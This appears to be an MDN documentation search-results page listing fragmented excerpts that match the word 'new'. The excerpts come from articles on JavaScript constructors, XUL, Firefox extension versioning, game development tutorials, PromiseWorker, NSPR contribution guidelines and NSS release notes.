o solve, it is recommended that you read the entire article. constructors before the ecmascript 6 standard, a javascript class was defined by creating a constructor function for that class. to illustrate this, let's define a simple constructor for a class shape: function shape(x, y) { this.x = x; this.y = y; } we can now use this constructor to create instances of shape: let shape =
new shape(2, 3); shape instanceof shape; // => true shape.x; // => 2 shape.y; // => 3 the keyword
new tells javascript that we are performing a constructor call. constructor calls differ from ordinary function calls in that javascript automatically creates a
new object and binds it to the keyword this for the duration of the call. moreover, if the constructor does not return a value, the result of ...
...re just ordinary functions, however, so it is perfectly legal to perform ordinary function calls on them. in fact, some people (including the add-on sdk team) prefer to use constructors this way. however, since the value of this is undefined for ordinary function calls, we need to add some boilerplate code to convert them to constructor calls: function shape(x, y) { if (!this) return
new shape(x, y); this.x = x; this.y = y; } prototypes every object has an implicit property, known as its prototype. when javascript looks for a property, it first looks for it in the object itself. if it cannot find the property there, it looks for it in the object's prototype. if the property is found on the prototype, the lookup succeeds, and javascript pretends that it found the proper...
...tself. if it cannot find the property there, it looks for it in the object's prototype. if the property is found on the prototype, the lookup succeeds, and javascript pretends that it found the property on the original object. every function has an explicit property, known as prototype. when a function is used in a constructor call, javascript makes the value of this property the prototype of the
newly created object: let shape = shape(2, 3); object.getprototypeof(shape) == shape.prototype; // => true all instances of a class have the same prototype. this makes the prototype the perfect place to define properties that are shared between instances of the class. to illustrate this, let's add a member function to the class shape: shape.prototype.draw = function () { throw error("not yet ...
...And 6 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
sing minversion and maxversion minversion and maxversion should specify the range of versions of the application you have tested with. in particular you should never specify a maxversion that is larger than the currently available version of the application since you do not know what api and ui changes are just around the corner. with compatibility updating it is not necessary to release a whole
new version of the extension just to increase its maxversion. for the maxversion it is generally permissible to use a * in place of the minor version of the application you support, for example 2.0.0.* would mean that you support any minor update to version 2 of the application. the application will usually suggest to extension authors which version part it is sensible to do this with. do not mista...
...nly sensibly used in the maxversion. using it in a minversion usually doesn't produce the effect you want. valid application versions automatic add-on update checking applications will periodically check for updates to installed add-ons by retrieving the updateurl. the information returned can be used to notify the user of an updated version to the add-on as well as inform the application of
new application versions that the add-on is compatible with. note: starting in gecko 2.0, the automatic add-on update process properly supports cases in which the add-on's guid changes by uninstalling the old version and then installing the
new one. previously, it was possible to wind up with two copies of the same add-on installed. compatibility updates during the automatic update checks, appli...
...that the add-on is compatible with. note: starting in gecko 2.0, the automatic add-on update process properly supports cases in which the add-on's guid changes by uninstalling the old version and then installing the
new one. previously, it was possible to wind up with two copies of the same add-on installed. compatibility updates during the automatic update checks, applications look for both
new versions and updated compatibility information about the currently installed version of an add-on. this means that if your update manifest contains an entry for the currently installed version of the add-on, and the entry's targetapplication entry specifies a larger maxversion then the application will use this value instead of that specified in the add-on's install.rdf. this can cause add-ons th...
...And 6 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
secondstring; + nsstring combostring = firststring;+ combostring += secondstring; // or: combostring.append(secondstring); - nsresult rv = somefunc(promiseflatstring(combostring)); + nsresult rv = somefunc(combostring); removing the nsreadableutils.h from the headers list also means that we would not have access to appendutf16toutf8 kind of functions. all these functions are now available via the
new string api - appendutf16toutf8(srcstring, deststring); + deststring.append(ns_convertutf16toutf8(srcstring)); the signatures of the find methods differ between the two apis. if you are only finding a single character, prefer the findchar method. the (lossy)copy(ascii|utf8|16)to(ascii|utf8|16) do not accept character pointer parameters. you must explicitly wrap them in an appropriate dependent ...
...e already flat. you cannot mix string variables and literals in comparison operators. in particular you may need to use ns_literal_(c)string("") instead of empty(c)string. the equalsignorecase method does not take a length parameters. you may be able to use stringbeginswith instead. the findinreadable methods do not exist in the external api. you may be able to use the find methods instead. the to
newcstring, to
newunicode methods only work on the appropriate string class. you need to supply the appropriate conversion yourself. the adopt and getter_copies methods do not work on abstract strings. instead of passing getter_copies(astring) to a method expecting a character pointer out parameter, you will need to use a temporary variable and copy the result.missing headers some headers are included...
...illa_internal_api is defined (actually, they shouldn't be there at all). ...
...And 6 more matches
MMgc - Archive of obsolete content
llector. the garbage collector is "managing" it, detecting when the memory is no longer reachable from anywhere in the application and reclaiming it at that time. in mmgc, you get managed memory by subclassing gcobject/gcfinalizedobject/rcobject, or by calling gc::alloc. unmanaged memory is everything else. this is c++ memory management as you're accustomed to it. ...
...u get managed memory by subclassing gcobject/gcfinalizedobject/rcobject, or by calling gc::alloc. unmanaged memory is everything else. this is c++ memory management as you're accustomed to it. memory can be allocated with the
new operator, and must be explicitly deleted in your c++ code at some later time using the delete operator. another way to think about it: unmanaged memory is c++ operators
new and delete managed memory is c++ operator
new, with optional delete mmgc contains a page allocator called gcheap, which allocates large blocks (megabytes) of memory from the system and doles out 4kb pages to the unmanaged memory allocator (fixedmalloc) and the managed memory allocator (gc). mmgc namespace the mmgc library is in the c++ namespace mmgc. you can qualify references to classes in the...
...nts a full, self-contained instance of the garbage collector. it may be multiply instantiated; you may have multiple instances of the garbage collector running at once. each instance manages its own set of objects; objects are not allowed to reference objects in other gc instances. the gc typically is constructed early in your program's initialization, and then passed to operations like operator
new for allocating gc objects. there are a few methods that you may need to call directly, such as alloc and free. gc::alloc, gc::free the alloc and free methods are garbage-collected analogs for malloc and free. memory allocated with alloc doesn't need to be explicitly freed, although it can be freed with free if it is known that there are no other references to it. alloc is often used to allocate a...
...And 6 more matches
Drag and Drop Example - Archive of obsolete content
an example of implementing drag and drop will be implemented in this section. dragging elements around here, we'll create a simple board where items from a palette can be dragged onto the board. the user can click on one of several xul elements on the palette and drag it onto a stack element to create an element of a particular type. first, we'll add the wrapper scripts: <script src="chrome://global/content/nsdraganddrop.js"/> <script src="chrome://global/content/nstransferable.js"/> <script src="dragboard.js"/> an additional script file dragboard.js is included which will contain the code we will write ourselves. ...
.../nsdraganddrop.js"/> <script src="chrome://global/content/nstransferable.js"/> <script src="dragboard.js"/> an additional script file dragboard.js is included which will contain the code we will write ourselves. the board will be created using a stack element. we'll use some style properties to set the width and height of the stack. a maximum size is also specified so that it doesn't resize when
new elements are dragged onto it. the board will need to respond to the dragdrop event so that an element is created when the user drags onto it. <stack id="board" style="width:300px; height: 300px; max-width: 300px; max-height: 300px" ondragover="nsdraganddrop.dragover(event, boardobserver)" ondragdrop="nsdraganddrop.drop(event, boardobserver)"> </stack> the board only needs to...
...x; max-height: 300px" ondragover="nsdraganddrop.dragover(event, boardobserver)" ondragdrop="nsdraganddrop.drop(event, boardobserver)"> </stack> the board only needs to respond to the dragdrop and dragover events. we'll add a boardobserver to the file dragboard.js in a moment. next, a palette will be added to the right side of the window. it will contain three buttons, one to create
new buttons, one to create check boxes and the other to create textboxes. this buttons will respond to the draggesture event and start a drag. <vbox> <button label="button" elem="button" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="check box" elem="checkbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <b...
...And 6 more matches
Hidden prefs - Archive of obsolete content
lly reviewed, it may contain inaccurate or incorrect information. address book "get map" button pref ("mail.addr_book.mapit_url.format" ) the format for this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card preview pane. the default (defined in mail
news.js) is: pref("mail.addr_book.mapit_url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchquery.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced. note, the ui has "name or email contains:". this entity (searchnam...
...y.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced. note, the ui has "name or email contains:". this entity (searchnameoremail.label) is defined in messenger.dtd. so if you change the quick search query to match based on phone number, the ui will not match the query. the default (defined in mail
news.js) is: pref("mail.addr_book.quicksearchquery.format","?(or(primaryemail,c,@v)(displayname,c,@v)(firstname,c,@v)(lastname,c,@v))"); "and", "or" and "not" are valid. see http://lxr.mozilla.org/mozilla/sourc...drdatabase.idl for the list of valid attributes "c" == contains. see nsabquerystringtoexpression::createbooleanconditionstring() for other operators. mail composition "other header" pref (...
...:createbooleanconditionstring() for other operators. ...
...And 6 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
ed layout engine available, providing robust and high quality support for a massive array of standards. its ability to render web content correctly is exceptional. gecko consists roughly of an html parser and xml parser, a dom implementation, a css parser and style system, and the code for css-based and html-based layout and rendering. as personal connectivity expands from the desktop computer to
new web-enabled products and devices, gecko is a browser engine that has been designed from the ground up to power a
new generation of desktop browsers and browsing devices and to accelerate the growth and development of the next-generation internet. small, fast and standards compliant, gecko is easily embeddable across platforms in browsers, desktop applications and browsing devices and delivers ful...
...tecture, is easily embeddable and is open source, it and the rich web applications it supports will be usable on any supported platform or device. this will dramatically reduce the cost and complexity of developing and distributing rich web applications and full-functionality browsing devices that run them. by meeting the needs of developers and companies who are working to provide consumers with
new interactive applications, solutions and services, gecko will become a key catalyst for
new growth and innovation and for delivering anytime, anywhere access to millions of
new users. as the heart of a browser, the browser engine software component is responsible for interpreting and rendering the graphics, text and script on the web. with gecko, mozilla has cleanly separated the browser engine co...
...rom the rest of the client software so it can be embedded and used to interpret, display and run web content, applications and services on any computing platform or device. open source and freely available, gecko is small in size and modular and achieves rendering speed superior to all other browser engines - which makes it perfect for embedding into both desktop applications such as browsers and
new devices such as browsing appliances and set top boxes. supporting gecko technologies provide a complete set of resources for efficient development, including full support of web standards, a cross-platform/cross-device user interface language, an extensible architecture and embedding technologies. with its unprecedented power, speed and standards support, the gecko browser engine represents a maj...
...And 6 more matches
Reading from Files - Archive of obsolete content
e text or a binary file. using the former will cause characters in the stream to be interpreted with a particular character encoding. in addition, lines may be read by reading the file up until a linefeed character is detected. a binary stream would be used to read bytes or numbers encoded within the file. ...
...ng the file up until a linefeed character is detected. a binary stream would be used to read bytes or numbers encoded within the file. to create an input stream, first get a reference to a nsifile, and then use nsiscriptableio.
newinputstream() to open a stream for reading from it. to learn more about file objects, see files and streams. var file = io.getfile("home", "sample.txt"); var stream = io.
newinputstream(file, "text"); this example first retrieves a file object using nsiscriptableio.getfile(). in this case, the file 'sample.txt' within the user's home directory is retrieved. next, nsiscriptableio.
newinputstream() is called to create a
new input stream for reading from the file. this method will open the file and return a stream. naturally, if the file does not exist, an error will occ...
...ill open the file and return a stream. naturally, if the file does not exist, an error will occur. you may wish to use nsifile.exists() to check if the file exists before opening it. in fact, it is a good idea to enclose file reading and writing operations within a try-catch block to capture any errors that might occur during the process. see file errors for a list of errors that might occur. the
newinputstream method takes two arguments in this example. the first argument is the file to read from, and the second is a set of flags which control the reading. in this case, the 'text' flag is used which indicates that you expect this file to be text file. this method actually takes a number of additional arguments, however they are optional so they do not need to be specified if they aren't need...
...And 6 more matches
MenuModification - Archive of obsolete content
modifying a menu menus have a number of methods which may be used to add and remove items. adding items to a menu the appenditem method may be used to append a
new item to the end of the popup associated with a menu. this method will create a
new menuitem element and insert it into the popup. this method may only be used with the menu element. <script> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </script> <menu id="edit-menu"/> <button label="add" oncommand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed. this function appends a
new item to the menu's popup with the label insert. the first argument to appenditem is the label of the menuitem, and the second argumen...
...to appenditem is the label of the menuitem, and the second argument is a value to associate with the item. this value be set as the menuitem's value attribute and can be used for whatever purpose is desired. note how in this example, the menu does not have a child menupopup. the appenditem method will create a menupopup element if it doesn't already exist. if the menu already has a menupopup, the
new menuitem will be appended to this existing one. while the appenditem method always adds the
new item to the end of the menu, the insertitemat method may be used in a similar fashion to insert an item into the menu elsewhere. menu.insertitemat(0, "delete", "delete"); in this example, the insertitemat method is used to insert a
new 'delete' item at the beginning of the menu's popup. the first a...
...his existing one. while the appenditem method always adds the
new item to the end of the menu, the insertitemat method may be used in a similar fashion to insert an item into the menu elsewhere. menu.insertitemat(0, "delete", "delete"); in this example, the insertitemat method is used to insert a
new 'delete' item at the beginning of the menu's popup. the first argument is the index where the
new item should be inserted. in this case, 0 is supplied as the index, which means before the first item. indicies are counted starting at 0, so to insert an item before the fourth item pass 3 as the argument. the second and third arguments to insertitemat are the label and value for the
new item, as with appenditem. ...
...And 6 more matches
Template Logging - Archive of obsolete content
alue wrong, no data may be returned, but the template system won't know that that this was because of a spelling error, or simply that there shouldn't be any data anyway. fortunately, some debugging and logging support is provided with templates that may help. logging template results there are two main ways in which template errors may be detected. the first debugging method involves logging all
new results that apply to the template due to the data changing as well as logging results that are changed or removed. in addition, each result generated when the template is first created and initialized is logged. this logging of result changes is not done by default; it must be enabled with a flag. <vbox datasources="..." flags="logging"/> the flags attribute on the root element of the template ...
...d on the firefox tools menu. this logging of results can be very useful for debugging, but remember to remove this flag when you have finished and the template works correctly, as the logging can take up extra time that is not necessary when the template is working. each result is logged in a form much like the following: in template with id root using ref http://www.some-fictitious-zoo.com/birds
new active result for query 2 matching rule 1: http://www.some-fictitious-zoo.com/birds/emperorpenguin in the example above, a
new result has been added. for references, the value of the template's id and ref attributes are provided in each logged message. this is useful if multiple templates are being used. the second line gives details about the
new result. the id of the result is specified at the...
...uery> element. if only one <query> is used, naturally this will always indicate a query of 1. in addition, this result matches the first <rule> of query 2. this information may be used to determine if results are not matching the correct rules. if you, for example, were expecting rule 2 to match, examine the rules and ensure that the logic is correct. the final piece of information is the phrase '
new active result'. this indicates first, that this is a
new result, as opposed to a result being removed, and second, that this result is 'active'. being active means that the result is not being overridden by an earlier query. as this example implies multiple queries are being used, we can determine that the first query did not provide a result with the given id, and that the result from the second...
...And 6 more matches
tabs - Archive of obsolete content
s | properties | methods | related ] a row of tabs. a tabs element should be placed inside a tabbox and should contain tab elements. nb: you can add some other elements to tabs such as button, but they will receive an index. activating them will not change the selectedindex. more information is available in the xul tutorial. ...
...should be placed inside a tabbox and should contain tab elements. nb: you can add some other elements to tabs such as button, but they will receive an index. activating them will not change the selectedindex. more information is available in the xul tutorial. ...
... disableclose type: boolean if this attribute is true the close button will be disabled. ...
...And 6 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average video game from a technical point of view, in terms of how the main loop should run. it helps beginners to the modern game development arena understand what is required when building a game and how web standards like javascript lend themselves as tools. experienced game programmers who are
new to web development could also benefit, too. present, accept, interpret, calculate, repeat the goal of every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a
new situation resulting from those acts. games are constantly looping through these stages, over and over, until some end condition occurs (such as winning, losing, or exiting to go to bed). not surprisin...
... a callback function must be passed in to it when it is called. that callback function will be executed at a suitable time before the next repaint. here is an example of a simple main loop: window.main = function () { window.requestanimationframe( main ); // whatever your main loop needs to do }; main(); // start the cycle note: in each of the main() methods discussed here, we schedule a
new requestanimationframe before performing our loop contents. that is not by accident and it is considered best practice. calling the next requestanimationframe early ensures the browser receives it on time to plan accordingly even if your current frame misses its vsync window. the above chunk of code has two statements. the first statement creates a function as a global variable called main(). th...
...t. before we discuss ways to change it, let us discuss what it already does well. timing the main loop to when the browser paints to the display allows you to run your loop as frequently as the browser wants to paint. you are given control over each frame of animation. it is also very simple because main() is the only function getting looped. a first person shooter (or a similar game) presents a
new scene once every frame. you cannot really get more smooth and responsive than that. but do not immediately assume animations require frame-by-frame control. simple animations can be easily performed, even gpu-accelerated, with css animations and other tools included in the browser. there are a lot of them and they will make your life easier. building a better main loop in javascript there are ...
...And 6 more matches
Build the brick field - Game development
tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson09.html. building the brick field is a little bit more complicated than adding a single object to the screen, although it's still easier with phaser than in pure javascript. let's explore how to create a group of bricks and print them on screen using a loop. defining
new variables first, let's define the needed variables — add the following below your previous variable definitions: var bricks; var
newbrick; var brickinfo; the bricks variable will be used to create a group,
newbrick will be a
new object added to the group on every iteration of the loop, and brickinfo will store all the data we need. rendering the brick image next, let's load the image of t...
... top and left offset (the location on the canvas where we shall start to draw the bricks) and the padding between each row and column of bricks. now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create
new brick on each iteration — add the following nested loop below the previous line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { // create
new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group. now we need to add some code inside the nested loop stucture to ...
...
new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group. now we need to add some code inside the nested loop stucture to draw each brick. fill in the contents as shown below: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { var brickx = 0; var bricky = 0;
newbrick = game.add.sprite(brickx, bricky, 'brick'); game.physics.enable(
newbrick, phaser.physics.arcade);
newbrick.body.immovable = true;
newbrick.anchor.set(0.5); bricks.add(
newbrick); } } here we're looping through the rows and columns to create the
new bricks and place them on the screen. ...
...And 6 more matches
Third-party APIs - Learn web development
code examples at once, in which case you can then just search the repo for the example files you need in each section. they are found on third-party servers browser apis are built into the browser — you can access them from javascript immediately. for example, the web audio api we saw in the introductory article is accessed using the native audiocontext object. for example: const audioctx =
new audiocontext(); ... const audioelement = document.queryselector('audio'); ... const audiosource = audioctx.createmediaelementsource(audioelement); // etc. third party apis, on the other hand, are located on third party servers. to access them from javascript you first need to connect to the api functionality and make it available on your page. this typically involves first linking to a javas...
...></script> <link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/> you can then start using the objects available in that library. for example: let map = l.mapquest.map('map', { center: [53.480759, -2.242631], layers: l.mapquest.tilelayer('map'), zoom: 12 }); here we are creating a variable to store the map information in, then creating a
new map using the mapquest.map() method, which takes as its parameters the id of a <div> element you want to display the map in ('map'), and an options object containing the details of the particular map we want to display. in this case we specify the coordinates of the center of the map, a map layer of type map to show (created using the mapquest.tilelayer() method), and the default zoom level. thi...
...acking people's location or trying to spam the api with loads of requests to stop it working, for example). the easiest action would be to just revoke their api privileges. extending the mapquest example let's add some more functionality to the mapquest example to show how to use some other features of the api. to start this section, make yourself a copy of the mapquest starter file, in a
new directory. if you've already cloned the examples repository, you'll already have a copy of this file, which you can find in the javascript/apis/third-party-apis/mapquest directory. next, you need to go to the mapquest developer site, create an account, and then create a developer key to use with your example. (at the time of writing, it was called a "consumer key" on the site, and the key c...
...And 6 more matches
Arrays - Learn web development
, 795, [0, 1, 2]]; before proceeding, create a few example arrays. accessing and modifying array items you can then access individual items in the array using bracket notation, in the same way that you accessed the letters in a string. enter the following into your console: shopping[0]; // returns "bread" you can also modify an item in an array by simply giving a single array item a
new value. try this: shopping[0] = 'tahini'; shopping; // shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ] note: we've said it before, but just as a reminder — computers start counting from 0! note that an array inside an array is called a multidimensional array. you can access an item inside an array that is itself inside another array by chaining two sets of sq...
...ray of any length, but in this case it stops looping at item number 7 (this is good, as the last item — which we want the loop to include — is item 6). for each item, print it out to the browser console with console.log(). some useful array methods in this section we'll look at some rather useful array-related methods that allow us to split strings into array items and vice versa, and add
new items into arrays. converting between strings and arrays often you'll be presented with some raw data contained in a big long string, and you might want to separate the useful items out into a more useful form and then do things to them, like display them in a data table. to do this, we can use the split() method. in its simplest form, this takes a single parameter, the character you want to se...
...kay, this is technically a string method, not an array method, but we've put it in with arrays as it goes well here. let's play with this, to see how it works. ...
...And 6 more matches
What is JavaScript? - Learn web development
so what can it really do? the core client-side javascript language consists of some common programm...
...lso that you can find this demo on github — see the source code, or run it live)! javascript can do a lot more than that — let's explore what in more detail. so what can it really do? the core client-side javascript language consists of some common programming features that allow you to do things like: store useful values inside variables. in the above example for instance, we ask for a
new name to be entered then store that name in a variable called name. operations on pieces of text (known as "strings" in programming). in the above example we take the string "player 1: " and join it to the name variable to create the complete text label, e.g. ''player 1: chris". running code in response to certain events occurring on a web page. we used a click event in our example above to dete...
...ed screws, and then put them together to make a bookshelf. they generally fall into two categories. browser apis are built into your web browser, and are able to expose data from the surrounding computer environment, or do useful complex things. for example: the dom (document object model) api allows you to manipulate html and css, creating, removing and changing html, dynamically applying
new styles to your page, etc. every time you see a popup window appear on a page, or some
new content displayed (as we saw above in our simple demo) for example, that's the dom in action. the geolocation api retrieves geographical information. this is how google maps is able to find your location and plot it on a map. the canvas and webgl apis allow you to create animated 2d and 3d graphics. people...
...And 6 more matches
Ember app structure and componentization - Learn web development
nd have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to structure an ember app, and then break that structure into components. planning out the layout of the todomvc app in the last article we set up a
new ember project, then added and configured our css styles. at this point we add some html, planning out the structure and semantics of our todomvc app. the landing page html of our application is defined in app/templates/application.hbs. this already exists, and its contents currently look like so: {{!-- the following component displays ember's default welcome message. --}} <welcomepage /> {{!-- ...
...t provided by an ember addon that renders the default welcome page we saw in the previous article, when we first navigated to our server at localhost:4200. however, we don't want this. instead, we want it to contain the todomvc app structure. to start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="
new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out. this is useful in such cases where we have an <input> being used with no corresponding html text that could be turned into a label. when you save applicatio...
...e application.hbs, the development server you started earlier will automatically rebuild the app and refresh the browser. the rendered output should now look like this: it doesn't take too much effort to get our html looking like a fully-featured to-do list app. ...
...And 6 more matches
Introduction to client-side frameworks - Learn web development
d the creation of frameworks, but not really why developers felt the need to make them. exploring the why requires first examining the challenges of software development. consider a common kind of application: a to-do list creator, which we'll look at implementing using a variety of frameworks in future chapters. this application should allow users to do things like render a list of tasks, add a
new task, and delete a task; and it must do this while reliably tracking and updating the data underlying the application. in software development, this underlying data is known as state. each of our goals is theoretically simple in isolation. we can iterate over the data to render it; we can add to an object to make a
new task; we can use an identifier to find, edit, or delete a task. when we remem...
... of each other; how to get them on the page. none of this code actually handles user interactions, or addresses adding or deleting a task. if we add those features, we have to remember to update our ui in the right time and in the right way. javascript frameworks were created to make this kind of work a little easier — they exist to provide a better developer experience. they don't bring brand-
new powers to javascript; they give you easier access to javascript's powers so you can build for today's web. if you want to see code samples from this section in action, you can check out a working version of the app on codepen, which also allows users to add and delete
new tasks. read more about the javascript used in this section: document.createelement() document.createtextnode() document...
...reatedocumentfragment() eventtarget.addeventlistener() node.appendchild() node.removechild() another way to build uis every javascript framework offers a way to write user interfaces more declaratively. that is, they allow you to write code that describes how your ui should look, and the framework makes it happen in the dom behind the scenes. the vanilla javascript approach to building out
new dom elements in repetition was difficult to understand at a glance. by contrast, the following block of code illustrates the way you might use vue to describe our list of tasks: <ul> <li v-for="task in tasks" v-bind:key="task.id"> <span>{{task.name}}</span> <button type="button">delete</button> </li> </ul> that's it. this snippet reduces approximately thirty-two lines of code down ...
...And 6 more matches
Strategies for carrying out testing - Learn web development
ng. objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. there is no way you can test on every combination of browser and device your users might use to view your site — there are just too many, and
new ones appear all the time. instead, you should try to make sure your site works on the most important target browsers and devices, and then code defensively to give your site the widest support reach it can be expected to have. by coding defensively, we mean trying to build in intelligent fallbacks so that if a feature or style doesn't work in a browser, the site will be able to downgrade to som...
... details). we should put this into grade b as well. using analytics a much more accurate source of data, if you can get it, comes from an analytics app like google analytics. this is an application that will give you accurate stats on exactly what browsers people are using to browse your site. of course, this relies on you already having a site to use it on, so it isn't much good for completely
new sites. but an analytics history can be useful for finding support stats to influence say a
new version of a company's site, or
new features you are adding to an existing site. if you have these available, they are far more accurate than global browser stats like those mentioned above. you may also consider using open source and privacy focussed analytics platforms like open web analytics and ma...
...afari for mac, edge and ie for windows (last two versions of each), ios safari for iphone/ipad, android stock browser (last two versions) on phone/tablet, chrome and firefox for android (last two versions) on phone tablet. accessibility passing common tests. b grade: ie 8 and 9 for windows, opera mini. c grade: opera, other niche modern browsers. what are you going to test? when you've got a
new addition to your codebase that needs testing, before you start testing you should write out a list of testing requirements that need to pass to be accepted. these requirements can be visual or functional — both combine to make a usable web site feature. consider the following example (see the source code, and also the example running live): test criteria for this feature could be written li...
...And 6 more matches
Displaying Places information using views
la&onlybookmarked=1&querytype=1"> <treecols> <treecol id="title" label="my bookmarks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> the next example does the same as the last but uses javascript to set the tree's place attribute: var histserv = cc["@mozilla.org/browser/nav-history-service;1"]. ...
...ks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> the next example does the same as the last but uses javascript to set the tree's place attribute: var histserv = cc["@mozilla.org/browser/nav-history-service;1"]. getservice(ci.nsinavhistoryservice); var query = histserv.get
newquery(); query.searchterms = "mozilla"; query.onlybookmarked = true; var opts = histserv.get
newqueryoptions(); opts.querytype = opts.query_type_bookmarks; var uri = histserv.queriestoquerystring([query], 1, opts); var tree = document.getelementbyid("mytree"); tree.place = uri; these two examples use the built-in tree view, but the point is to demonstrate the use of the place attribute and property. in this regard the built-in menu and toolbar views are no different. when a view's underly...
...iestoquerystring([query], 1, opts); var tree = document.getelementbyid("mytree"); tree.place = uri; these two examples use the built-in tree view, but the point is to demonstrate the use of the place attribute and property. in this regard the built-in menu and toolbar views are no different. when a view's underlying data changes, the view will automatically update itself so that it displays the
new data. this update is handled by logic between the view and its results. all places views implement or own an instance of interface nsinavhistoryresultviewer, which is the point of interaction between a view and its results. results themselves observe places changes, and if on a places change a result determines that its data specifically has changed, it notifies its view by calling an appropriate...
...And 6 more matches
IME handling guide
g. the mdata value is the commit string. this causes a dom text event without clause information and a dom compositionend event. ...
...then, it sends the ev...
...mpositionupdate events. when this receives an ecompositionchange, ecompositioncommit or ecompositioncommitasis event, it dispatches the event to the stored node which was the event target of ecompositionstart event. therefore, this class guarantees that all composition events for a composition are fired on same element. when this receives ecompositionchange or ecompositioncommit, this checks if
new composition string (or committing string) is different from the last data stored by the textcomposition. if the composition event is changing the composition string, the textcomposition instance dispatches widgetcompositionevent with ecompositionupdate into the dom tree directly and modifies the last data. the ecompositionupdate event will cause a dom compositionupdate event. when this receives ...
...And 6 more matches
PromiseWorker.jsm
scope/importscripts(). next, the promiseworker.js file should be brought in with the require() method. finally, the template code should be added in. the code below is what should be copied and pasted: importscripts('resource://gre/modules/workers/require.js'); let promiseworker = require('resource://gre/modules/workers/promiseworker.js'); // instantiate abstractworker (see below). ...
...ss, which provides above four methods (dispatch, postmessage, close, and log). but you can instantiate abstractworker itself and set its properties later, instead of creating derived class. main thread file the basepromiseworker object needs to be imported: const { utils: cu } = components; const { basepromiseworker } = cu.import('resource://gre/modules/promiseworker.jsm', {}); let myworker =
new basepromiseworker('path_to_worker_file.js'); you're now ready to start using promiseworker. sending a message from main thread to send a message to a worker from the main thread, one normally uses postmessage(). for promiseworker objects, however, you can't do that. instead, use the post() method, as seen below. post syntax promise = myworker.post(afunctionname, aargs, aclosure, atransferl...
...ning it as atransferlist argument. myworker.post('func', [buffer], null, [buffer]); this is simpler if the you know what to transfer at the callsite. basepromiseworker.meta above code can also be done with the meta object. each special data argument that you want to transfer, you can wrap in a basepromiseworker.meta object. the above example can be rewritten like this: myworker.post('func', [
new basepromiseworker.meta(buffer, {transfers: [buffer]})]); this is convenient if the function's arguments are generated by some other functions or passed from somewhere else. post callsite doesn't have to know which object should be transferred. for example: myworker.post('func', [foo(), bar(), baz()]) foo now has the power to determine if the argument should be transferred by returning a meta ...
...And 6 more matches
NSPR Contributor Guide
we (the nspr module owners) sometimes disappoint our contributors when we must reject their contributions. we reject contributions for a variety of reasons. some of these reasons are not obvious to an outside observer. nspr wishes to document some guidelines for those who would contribute to nspr. these guidelines should help the contributor in crafting his contribution, increasing its likelihood for acceptance. ...
...ral guidelines downward compatibility because many different applications, besides the mozilla client, use the nspr api, the api must remain downward compatible across even major releases. this means that the behavior of an existing public api item in nspr cannot change. should you need to have a similar api, with some slightly different behavior or different function prototype, then suggest a
new api with a different name. c language api the nspr api is a c language api. please do not contribute java, c or other language wrappers. coding style nspr does not have a documented coding style guide. look at the extant code. make yours look like that. some guidelines concerning naming conventions can be found in nspr naming conventions in the nspr reference. see also: xxx ownership of y...
... or gpl when you contribute material to nspr, you agree to allow your contribution to be licensed under the mpl or gpl. bugfixes use bugzilla to track bugs. document the bug or use an existing report. be verbose in describing what you are doing and why. include your changes as diffs in an attachment to the bugzilla report. use a coding style consistent with the source file you are changing.
new features for purposes of this paper, a "
new feature" is defined as some api addition that goes into the core nspr library, for example: libnspr4.dll nspr is mostly complete.
new apis are driven mostly by the os vendors as they add
new features. should you decide that there's something that nspr does not cover that should be covered, let's talk. your proposed api should encapsulate a relatively l...
...And 6 more matches
NSS 3.14 release notes
the nss license has changed to mpl 2.0. previous releases were released under a mpl 1.1/gpl 2.0/lgpl 2.1 tri-license. ...
... the nss license has changed to mpl 2.0. previous releases were released under a mpl 1.1/gpl 2.0/lgpl 2.1 tri-license. ...
...pl/2.0/faq.html. for an additional explantation on gpl/lgpl compatibility, see security/nss/copying in the source code. export and des cipher suites are disabled by default. non-ecc aes and triple des cipher suites are enabled by default. nss 3.14 source tarballs can be downloaded from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_rtm/src/. the cvs tag is nss_3_14_rtm.
new in nss 3.14 the sections that follow discuss specific changes in nss 3.14 in more detail. support for tls 1.1 (rfc 4346) has been added (https://bugzilla.mozilla.org/show_bug.cgi?id=565047). to better support tls 1.1 and future versions of tls, a
new version range api was introduced to allow applications to specify the desired minimum and maximum versions. these functions are intend...
...And 6 more matches
NSS 3.35 release notes
